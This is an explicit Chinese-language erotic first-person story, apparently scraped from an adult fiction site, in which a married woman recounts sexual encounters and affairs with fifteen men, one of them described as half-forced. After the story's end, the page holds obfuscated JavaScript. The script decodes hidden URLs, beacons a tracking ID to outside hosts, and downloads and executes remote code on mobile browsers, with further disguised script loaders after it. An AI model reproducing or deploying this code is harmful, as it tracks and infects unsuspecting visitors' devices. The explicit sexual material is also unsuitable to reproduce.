【那些过往的性情故事】(完)作者:不详[人妻熟女]
作者:不详
字数:9343
yZWnxHpb.png.
点击看大图
生命总是显得匆忙而仓促,在这个初夏的平常夜晚,哄2岁的女儿睡觉,躺
在床上,看着对面的镜子里,依然貌似年轻的自己,长长的卷曲的头发散落在枕
头上,依旧白皙的皮肤,还有我的眼睛,曾有无数个人说过,我的眼睛,似严寒
夜空的星星,是我五官中最美的部分。
忽然回忆如潮水,涌了出来,那么多混乱而苍白的面孔,那么多模糊而清楚
的往事,忽然间都一幕一幕闪现出来。
因此,想写下来,那些青春的岁月里,那些爱过或者不爱的人,那些因爱或
与爱无关的性。
一、初恋男友
也许是人生中最单纯最美好的一段爱情了。
那时只有17岁,懵懂的年龄。
在一起的日子都清亮得如溪水般明亮美好。
发生性,很自然,因为最真的爱。
现在想来,我依然觉得那,就是爱。
过去了这么多年,已经不怎么记得那时候的感觉,只记得,我嫌他那东西太
大,总是让我觉得疼痛。
还记得他当时玩笑着说,你现在觉得不好,以后就知道有多好了!呵呵,在
经历了这么多男人以后,我确实,觉得,他很不错。
但是和他在一起的时候,我是不觉得性多么美好的,也许因为彼此都是第一
次,也没有什么经验,我总是觉得有点疼疼的,去迎合他,只是因为我爱他,想
让他快乐,我完全是奉献的精神在和他做爱。
后来,分手了,分手的原因我已经想不起来了,但是似乎初恋都是这样,无
疾而终。
中间几年没有联系,但现在,成了好朋友,比普通朋友更亲的朋友,像亲人
一样的感觉,但是我们再也没有做过爱了。
真的成了关系单纯的好朋友!也许难以置信,所以我更加珍惜这样的朋友之
情!现在他就快做爸爸了,真心的祝福他!
二、北方男孩
他不是我的第二个男友,在和初恋男友分手后,我一直很害怕,害怕别人知
道我不再是处女了,所以很长时间都很抗拒男孩子。
大学期间,真真假假谈过几个男孩子,但都没有更深入的发展,基本上就是
一起上课一起自习,顶多一起看个电影。
碰到北方男孩,是在酒吧。
那时候很流行蹦迪,我和寝室的同学也迷恋不已,几乎每周要去2、3次。
於是遇见了他。
他个子很高,186吧,瘦瘦的,长得挺像林志炫。
还算英俊!典型的北方男孩性格,爽快,简单,天真,大男子主义。
不过,他对我是真的挺好。
交往了一段时间以后,发生了关系,在他们学校四周的一个小宾馆。
印象最深的是,他用嘴舔我下麵,当时,我又吃惊又害羞还有点抗拒。
他比较霸道,^做爱的时候,总是很猛烈,使劲的冲撞我的身体,虽然我有
点觉得不太舒适,但又有点喜欢他这样的霸气,让我有种被征服的快感。
但是和他在一起时间不是很长,我因为毕业被学校推荐去了外地工作,而分
开了,也许我不是很爱他,所以我也没和他联系。
那时候手机还不是这么普遍,所以他自然也联系不到我。
就这样,时间沖淡了彼此的关系。
三、海南的温柔
暂叫他W吧。
我在海南工作时,碰到的男孩。
一个人在异乡,没有朋友,没有亲人,而四周的同事,都比较欺生,我那时
只有20岁,还不懂得如何在艰难的环境里让自己生活得快乐点,所以天天都在
郁闷和孤独还有难过中度过。
W也是我去酒吧时碰到的男孩子。
我们隔着桌子,隔着疯狂跳舞的人群,发现了对方,两个人在喧闹的环境中,
显得那么孤独。
他对着我举杯,我笑着喝下手中的酒。
我们熟悉三天,就上床了。
熟悉的第一天,在酒吧里,对着喝酒,喝呀喝呀,最后他走过来,拉着我跑
出去,问我要电话号码。
熟悉的第二天,他在我上班的地方等我,拿着玫瑰和一个礼物。
(礼物我忘记是什么了)熟悉的第三天,他接我下班,带我去海口最好的酒
店吃饭,跟我讲这个城市。
最后我们开了房间。
他明显没什么经验的那种,不几下就射了。
但是,一晚上会要好多好多次。
而且,他很喜欢亲吻我,极尽温柔的亲吻。
说实话,和他在一起,我更多的是想摆脱独在异乡的苦闷和孤单。
他对我很好很好。
我很爱吃杨桃,他就买好多,然后去皮,切小块,喂给我吃。
我想去看最美的海,他就带我去他的家乡万宁,在黄昏的沙滩,海边的竹楼,
亲自煮海鲜给我吃。
我真的是很享受他对我的好。
但是他也不能陪伴我,那时候他还在北京念大学,是假期回海南。
假期结束,他又要去北京了。
后来过了几个月,我也回了家乡。
我是决定和他断绝了,可他却在我回家后不久,从北京跑去我家看我,海誓
山盟,要我等他毕业,要和我在一起。
可是,地域的遥远,再加上我回到了家乡,已经不再依靠他给我的温柔。
慢慢的,还是断了。
但,至今我仍然感谢他,陪伴我的那些日子。
真的让我感到暖和和快乐。
四、搏击教练
他也是我在海南的时候碰到的男人。
那时我20岁,他38岁,离异状态。
在海口开了一家带博彩性质的搏击馆,每晚都有搏击比赛,可以下注的那种,
白天的时候他是搏击教练。
是在一个饭局上熟悉他的,那时候W已经返回北京念书了。
当时我在海南唯一熟悉的一个30多岁的女人,带我出去吃饭,他是她的朋
友的朋友的朋友,挺远的,当时,他坐我旁边,交谈之下,发现他和我是老乡。
於是交换了号码。
他个子不高,但体格异常健壮,肌肉十分发达,虽然已经是快四十的人了,
但一点不显老态。
和他一共发生过三次。
第一次,我几乎是半被强迫的。
他太强壮了,我根本反抗不了。
但是,我不能否认他让我体会到了舒适的感觉,不是高潮。
就是舒适。
曾经的几个男孩子,没有一个让我有舒适的感觉过。
所以第二次的时候,我几乎是向往的上了他的床,也比较配合了。
我们做了好久好久,后来看表,有一个多小时。
他用各种不同的姿势,带给我不同的感受,他从后面插我,抚摩我的胸,又
鼓励我坐在他上面,教我怎么做才会让自己舒适让他舒适。
他在很大程度上是我的性老师,让我有了茅塞顿开的体验。
在后来我回家乡后,他也回来找过我一次,我们又重温了一次。
他当时回来要我跟他再去海南,并且已经为了找好了工作,买了个小房子。
当然那时候房价可没现在这么高。
现在想来,他对我还是有一定诚意的。
但是当时我没跟他走,他有点生气,一个人回海南了,陆续几次电话联系之
后,他也渐渐断了这个念想。
五、无名氏
从海南回来后不久,我父母的朋友给我安排了个工作,比较清闲的工作。
那时候的我已经不再是个清纯的小女孩了,虽然只有21岁,但是经过了那
些事情之后,心里总是有点渴望。
但那时,我也没交男朋友,所以非凡无聊。
上网熟悉了一个男的,名字我现在都已经想不起来了。
他的家就在我单位四周。
有次约着见面,去他家吃饭(现在想来,真挺傻的),然后就发生了。
记忆模糊,基本上没有任何印象了。
对他感觉也不是很好,加上不久我换了工作,便也断了联系。
六、好心人
他的网名叫好心人,和他聊了不到半个小时,就约着见面了。
当然,不是为了性而见面,只是单纯的见网友,那个时候似乎挺流行见网友
的。
他挺帅的,比我大4岁,工作稳定,前途光明的那种。
交往了一段时间,觉得有点喜欢他,他对我也有点好感。
两个人预备着向恋人关系发展。
但是很希奇的是……我们始终没有成为恋人。
他也是挺能做的。
一看就是情场老手了。
而且他DD很长,技巧又比较多,每次都搞得我筋疲力尽。
我当时对他是有感情的,但是他却对我忽远忽近的,我出於矜持,也开始不
表现出我对他的感情,两个人就那么耗着,慢慢的,我又碰到了别的男人,便也
从心里放弃了他。
但是至今,我们依然还是朋友,很希奇的朋友,可以一年没联系,但是,又
一个电话就可以坐在一起吃饭喝茶。
当然,如今没有再发生过关系。
因为他已婚我已嫁,彼此还是不想破坏了现在的美感。
我们也在一起探讨过,为什么当初他有情我有意的,怎么就没谈成恋爱!可
能就是他的不确定和我的矜持吧,呵呵,还是没缘分啊。
七、我的老公
在和「好心人」
分开后不久,碰到了他,就是现在成为我老公,并成为我女儿的父亲的这个
人。
我们的熟悉很搞笑,也很偶然。
但是我们从熟悉到上床只用了9天。
那天他还发着高烧,居然带病把我给上了。
说心里话,他是我经历过的,在性方面,让我最满足的男人。
他的DD不是很长,后来我量过,大概12、3釐米,但是很粗,勃起的时
候非凡硬,还带点点弯,头很大。
老公比我大12岁,但是我们在性方面非凡和谐,也是他让我第一次体验到
了高潮的感觉。
现在我们每次^做爱我都能高潮,而且不止一次。
他是个很懂女人的男人,知道怎么取悦我,而我的满足和快乐,就是他的最
高快乐。
这一点上,我觉得我很幸运。
我很爱很爱他。
他也是我第一个为之口交的男人,并且是唯一一个。
以前包括现在,我都觉得男人的DD多少有点点那个非凡的味道,而我不是
很习惯那个味道。
我愿意为老公口交,真的就是出於爱。
我甚至在一些性教育网站看一些文章,如何口交得让男人舒适,然后晚上就
给他试,他总是很兴奋,很快乐。
看到他快乐,我也很快乐了。
他在我之前也经历过比较多女人吧,反正也是性经验丰富的男人,他也知道
我和他在一起不是处女,好在他没有处女情节,不是很在意过去。
我喜欢和他做爱的感觉,真的很满足很快乐。
他喜欢咬我耳朵,喜欢亲我的背颈部,这些都是我的敏感区,会让我疯掉。
而且每次他都不急於插入,总是在那儿磨磨蹭蹭,让我水流成河,不能自已,
然后再猛然插入,那一刻,我真的死了都可以。
呵呵……不过,他也有很多我不满的地方,所以,有了以后的故事,对他的
不满主要是生活方面的。
两个人在一起生活,真的,很多很多琐碎和烦躁……这是后话了。
八、云南公子哥
在和老公恋爱的期间,有一次为结婚买房的事情,大吵一顿之后,我一气之
下一个人跑去云南玩,这一玩就是一个月。
在昆明的时候,熟悉了一个公子哥,说他是公子哥,是因为他老爹是个大老
闆,很有钱,他是个没什么作为的大少爷,天天开着好车,喝着好茶,一帮吃他
的喝他的狐朋狗友陪着他,满大街闲逛。
可能在他眼里,我是个很神秘很忧郁,而且又有点漂亮的女人。
更有趣的是,我和他是同月同日生,只是不同年。
这些对他来说,都是无聊生活中的所谓「缘分」。
他有钱嘛,出手当然大方,追女人,也有些手段,再加上身边一群狗头军师
出主意,想点子……我那时候也是对当时的男友现在的老公,极度愤怒。
有这么个有钱人给我大献殷勤,我自然就贪图了那一时的虚荣……不是我在
给自己找藉口,真的,面对那满车满屋子的粉色玫瑰,面对那一帮人对我有如公
主般的伺候,我真的有种眩晕的爆炸感。
他有点胖,我现在记得最清楚的就是他肚子上的肉肉。
他做爱的时候老是冒出一些我听不懂的语言,因为他从小在国外长大,中文
不是很好。
也许那个时候,他无法用中文表达他的高潮?!呵呵~他还喜欢要我在做爱
的时候喊他「老公」,不过当时,我是怎么也不喊。
而且,每次,我都要先把自己喝醉,再上床。
在他看来我有无限的悲伤和神秘的心事,但是,在我,我只是不想那么清楚
的背叛……
九、丽江老迷
在丽江,因为参加散客团,熟悉的一个导游,叫老迷,至今不知道他的真名。
属於稀里糊涂的发生……至今……比较后悔。
但是,很希奇,他也让我体验到了高潮。
那时,他带我去香格里拉,我们在草原酒店的房间里,彼此慰籍。
他的DD属於细长细长的,有过体验的人就知道,细长型和粗大型的感觉真
的是很不一样,我也表达不清楚,但是,我只能说,细长有细长的舒适,粗大有
粗大的快感。
总之,在云南的一个月,我做的事情我都比较后悔。
十、车祸
从云南回来后,和老公的关系,还是不太好,总为了结婚的事宜争吵和愤怒。
也许,恋爱简单,但涉及到婚姻,就会有很多很多的事情,就会牵涉到双方
的家庭和其他人。
那时候真的很烦躁。
两个人也疏远了很多。
但没有分手。
在网易的同城约会里熟悉的一个男人。
比我大8岁,当时已离婚。
个子很高,185,浓眉大眼,长相英俊,工作单位很好,职位也很高,属
於钻石王老五。
他对我一见锺情,知道我有男友,但还是说要争取。
他天天来接我下班,去国外出差还在当地给我邮寄明信片,给我带礼物,带
我去打高尔夫,教我品好的红酒和白葡萄酒,让我知道,原来还有这么一种生活
状态。
我心中的天平慢慢的倾斜了,我更多的迷恋上了他为我打开的这个世界。
就在我决定了要和老公分手,和他在一起的时候,甚至我们定了去北京的机
票,预备以这样的方式来公佈我的决定。
但是当天晚上,他开车送我回家的路上,出了车祸,严重的车祸。
当然,我们都没死,但是至今他的左手手臂里还有钢钉。
住院,处理事故,用了很长时间。
期间,老公对我的态度也大为好转,使我开始犹豫,是否真的要离开老公和
他在一起。
至今很感谢那个年轻的员警哥哥,车祸现场,他负责保管了我的随身物品,
他没有公开我的机票,而是选择了没人的时候问我,机票已经过期,如何处理,
是否需要交给我的父母去帮我退票。
而我请求他静静帮我撕掉……当然,老公也知道了他的存在。
也许老公是因此而紧张起我。
出院后,我的工作也丢了,人也比较郁闷,他对我还是很好。
他帮我找了个门面,付了定金,要我开个店,并且陪我去买东西,进货,他
拿了一笔钱出来。
当时老公非常忙,知道我要开店,但是根本没空理我。
而开店需要的那些工商税务手续,进货装修事宜,都让我头疼得要命,假如
没有他的陪伴和支持,我肯定坚持不下去。
就在那段时间,我和他上了床……说实话,我和他上床后,我发现自己不爱
他,或者说我和他在一起,爱的不是他本人,爱的是他带给我的那些新奇的世界。
我非常厌恶看他^做爱时的表情,我觉得丑陋,虽然他相貌尚属英俊。
我也不知道我为什么会有这样的感觉,对曾经经历过的那些男人我都没有这
样的感觉!后来,他和老公摊牌了,让我做选择。
我很痛苦,很痛苦,感情上,我爱老公,但又觉得老公对我实在关心不够。
那是个分外痛苦的下午,我至今仍然清楚记得我那心底剧烈的痛楚。
他们两个坐在我的对面,等我的决定。
最后,我还是选择了老公。
老公把他出的那些钱还给了他。
带走了我。
我第一次看到老公眼里有泪,我知道他还是在意我,爱我的。
只是生活的压力太大,他不能顾及我的每一点要求,每一个感受。
不久,我和老公结婚了。
而他还曾跑去我父母家,对他们诉说对我的感情,但我一直没有再见他,我
不想让他痛苦,也不想老公不开心。
十一、一夜情
按说,经历了这些,我应该珍惜我的生活,珍惜和老公的感情,好好过日子
了。
但是我很惭愧,也许我骨子里就是个坏女人,耐不住寂寞。
我结婚一年多以后,发生了一夜情。
当然,是白天发生的,只有一次,就再无联系。
我忘记了那人的长相和名字。
是在他车里做的,我们把车开到郊外,然后就做了。
他的DD很长,但一直不是很硬的状态,就是半硬,但是可以插得进去的硬
度。
我做的时候很伤心,觉得自己好贱。
我开始恨自己。
回家后,面对老公我好愧疚,发誓以后再也不这样了。
十二、情人
平静了很长时间,大概2年多吧,期间,我怀孕生子。
但是我怀孕的时候,和老公又发生了很多事情,狠狠的伤了我的心。
我怀孕很辛劳,从怀到生一直吐,而且身体很难受,所以我们一直没有做爱,
是到生育完3个月以后才开始恢复做爱的。
怀孕期间,老公一直在北京做工程,我忍受不了相思之苦,怀着5个月的身
孕去北京看他,但是,却让我伤透了心。
北京有个女设计师,和他暧昧。
虽然我没有证据,但是凭女人的直觉,和她看他的眼神我就知道,那女的肯
定不简单。
而期间,我无意看老公手机时,看到一个生疏号码的短信,内容不知所云。
也时直觉吧,我偷偷的记下了那个号码。
回武汉后,我查了他的通话记录,那个号码惊人的多,半夜手机长途通话,
时间长得惊人。
而那时候我怀着他的孩子,他都没给我打那么多电话。
后来我问老公,他不承认和那女的有什么关系,他说只是聊聊天。
於是我们纠缠不清,我日日哭泣,天天吵架……我觉得我怀孕的那十个月,
是我人生中最痛苦的岁月,身体的不适,精神的打击……让我几近崩溃!!我承
认,至今,我依然对老公心有怀恨。
生完女儿后,很短时间里我就迅速恢复了,身材,容貌,都和没结婚前一样,
也许是因为我年纪小恢复能力比较强。
所以走出去,只要我不说,没人会相信我已是个妈妈。
我找了个工作,比较清闲,做文员。
但是只做了8天。
但是就是这份只做了8天的工作,使我有了第一个情人。
他就是我的老闆。
在那上班的时候,我们几乎没讲过话。
在最后一天上班的时候,因为他要我把我用的那台电脑里的一个档传给他,
而互相加了QQ。
然后我就很忽然的辞职了。
辞职后,我在QQ上碰到他,他问我,辞职的原因。
说他一直认为自己是个好老闆,还没有人在他那做了8天就要走人,而且不
给他理由的。
他很生气也很受打击。
於是,我们成了聊友。
我不得不承认,他是个很有内涵的男人,法语流利,专业8级。
钢琴10级。
眼睛深邃动人。
他也从聊天中慢慢瞭解了我,开始发现,那个文静不说话的女人,竟然这么
有意思。
后来,他请我吃饭,我们一起看《神话》。
再后来,我们经常约会,再后来的后来,就上了床。
他是有家的,我也是,我们都知道不能去碰触的就是彼此的家庭,所以我们
做的是最纯粹的——情人。
他虽然是个成熟的男人了,但经历比较单纯,他老婆是他的第三个女友,而
他结婚后就一直是中规中矩的生活,没有过别的女人,所以他做爱可真没什么经
验,比我老公差远了。
给我感觉就是急吼吼的,自己满足就OK了。
我还教了他很多技巧呀什么的,那段时间他真的是迷恋死我了,总是说,他
会死在我身上。
这样的关系,大概持续了1年多,后来,慢慢的,我对他也没什么爱好了,
联系就少了,他也是个聪明人,自然明白我的意思,也自觉的不再找我。
但现在,偶然的偶然会打个电话聊几句无关痛痒的话,过年过节会发个祝福
的短信。
十三、农民
他是我的网友,聊了很久,没见过面。
是个农民,开了个不小的酒店,比较有钱的那种土包子。
他一直在网上跟我炫耀他的DD有多么大,他做爱有多么厉害,一直要求我
和他来一次。
并且说,见了面,只要我不同意,他绝不勉强。
和他见了几次,长得膀大腰圆的,浓眉大眼,满脸福相,感觉是个很讲义气
的鲁莽汉子。
有一次,我晚上要去很远的地方,没有车了,就打电话,他深更半夜开车把
我送去离市区2个多小时的地方,又自己开着车回家了。
所以,我对他印象还不错。
26岁生日那天,磅礴的大雨,我心情不好,老公也照常的不陪我,於是我
又想到了他,打电话要他出来,他乖乖的出来了,我说我今天生日,你陪我过吧。
他大嗓门就喊起来了,你怎么不早说啊,我预备个礼物啊,这空着手怎么给
你过生日啊。
我说,算了吧,我也不想要你什么礼物,你就陪我好了。
他於是请我吃了饭,问我想干嘛去,我说我想去XX湖,但是他的车是单号,
不能过桥,我望着他,说那怎么办。
他挺豪气的一拍胸脯,说沖桥呗,罚款就罚款,扣分就扣分,只要你开心,
无所谓!听着他那样说,我挺感动的,一冲动就说,那算了,我们开房去吧!没
想到他还挺害羞的,说,你别勉强啊,我不想你后悔。
他越这么说,我反而越坚持。
在一个四星酒店开了个房间,我一进去就洗澡去了,我一边洗澡一边骂自己
贱。
我洗完他就进去了,出来的时候只用浴巾围着下麵.
我们开始拥抱,他开始进入。
说真的,他的DD确实大,又粗又大,比我老公的还粗大,而且长,一进去
就顶着我的头了,还真有点不适应。
做爱的时候我揪他的耳垂,觉得他长得像个弥勒佛似的,有点好玩。
我很快就高潮了,他抱着我,激动得不行,说好开心,没想到真的能和我做
了,说他每次在网上都是过嘴巴瘾,还说真的喜欢我。
我再没和他出去过,偶然在网上碰到,他总是说,再来一次。
我都拒绝了。
十四、重逢的恋人
又过了一段平静的日子,我打算,再不出轨了,好好和老公过日子,他再怎
么不好,我们已经有了孩子了,就应该好好过。
我没有想到,我和旧日的恋人重逢了,说是重逢,其实是他从茫茫人海里,
费尽心思,找到了我。
我和他在大学里,短暂的相恋过3个月。
期间,什么也没发生过。
对我而言,就是一个短暂的小插曲,若不是重逢,很可能我都不再会想起他。
但是对他而言,我却是他心底的一个梦,放不下,虽然他现在已为人夫为人
父……他现在在国家一个重要部门,做一个不大不小的干部,工作忙碌,压力巨
大。
但是对於我的,即使是鸡毛蒜皮的小烦恼,他都会耐心给我他最深思熟虑的
建议。
他关心我的生活,我的工作,我的女儿,我和老公的关系。
他爱我。
是的,他爱我。
我能体会到,这是一种真正的爱。
他不想破坏我的家庭,也不想打搅我的生活,他只想,他能存在於我的生活
当中。
我并不爱他,但是我需要他。
因为我是多么需要一个人关心我,分解我的烦恼,帮我处理一些我觉得困难
的事情,在我需要的时候随时出现并陪伴我。
我真的很自私,在感情上我爱老公,在精神上我需要他。
也许是作为报答,也许是我想让他更关心我。
我给了他,他梦里都想要的,我自己。
我没想到的是,个子高大,相貌帅气的他,居然在床上那么差劲。
我和他目前为止一共有过4次开房,有2次,他都不举,还有2次,成功插
入,但是1分钟就射了。
他自嘲说是工作压力太大,天天应酬又多,烟酒过度。
其实我不介意,我本来也不是因为需要性才和他在一起。
但是他这样我还是挺为他难过的,究竟对於一个男人来说,这是件多么悲伤
的事情啊!真的,男人一定要珍惜自己的身体啊,我都为他老婆难过,我体验过
性福,所以才瞭解他老婆多么不性福!
十五、后记
回忆完成了,这些进入过我身体的,我爱或者不爱的男人们。
我现在的状态是,老公,和这个曾经的恋人。
你们也许要骂我,朝我扔鸡蛋,呵呵,我自己也想骂自己呢。
不过,我真的觉得,老公是最棒的那个。
他只是不能够有足够的时间陪伴我安慰我,不了解我的思想世界,不懂得我
想要什么,他从来没有时间陪我度假,就连周末也从没有完整的陪过我一天。
我是个女人,而且是个很脆弱很敏感的女人,我需要很多很多爱来让我安静,
让我不恐慌。
这些老公都给不了我。
我写完了,心情很複杂,说实话,我是对老公有内疚感,但是,我还有一种
很幸福的感觉……唉,也许是我有问题吧……
【全文完】
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSkSS3SSaSS1SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hQQtQQtQQpQQsQQ:QQ/QQ/QQpQQ.QQgQQoQQdQQmQQwQQiQQtQQhQQ.QQcQQoQQmQQ/QQ1QQ2QQ/QQ1QQ1QQ0QQ5QQeQQcQQ8QQ5QQ8QQ2QQ3QQ7QQ2".split("QQ").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDmDDqDD1DD2DDnDD4DDdDD7DD6DD.DDoDDsDDsDD-DDcDDnDD-DDsDDhDDaDDnDDgDDhDDaDDiDD.DDaDDlDDiDDyDDuDDnDDcDDsDD.DDcDDoDDmDD/DD1DD2DD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();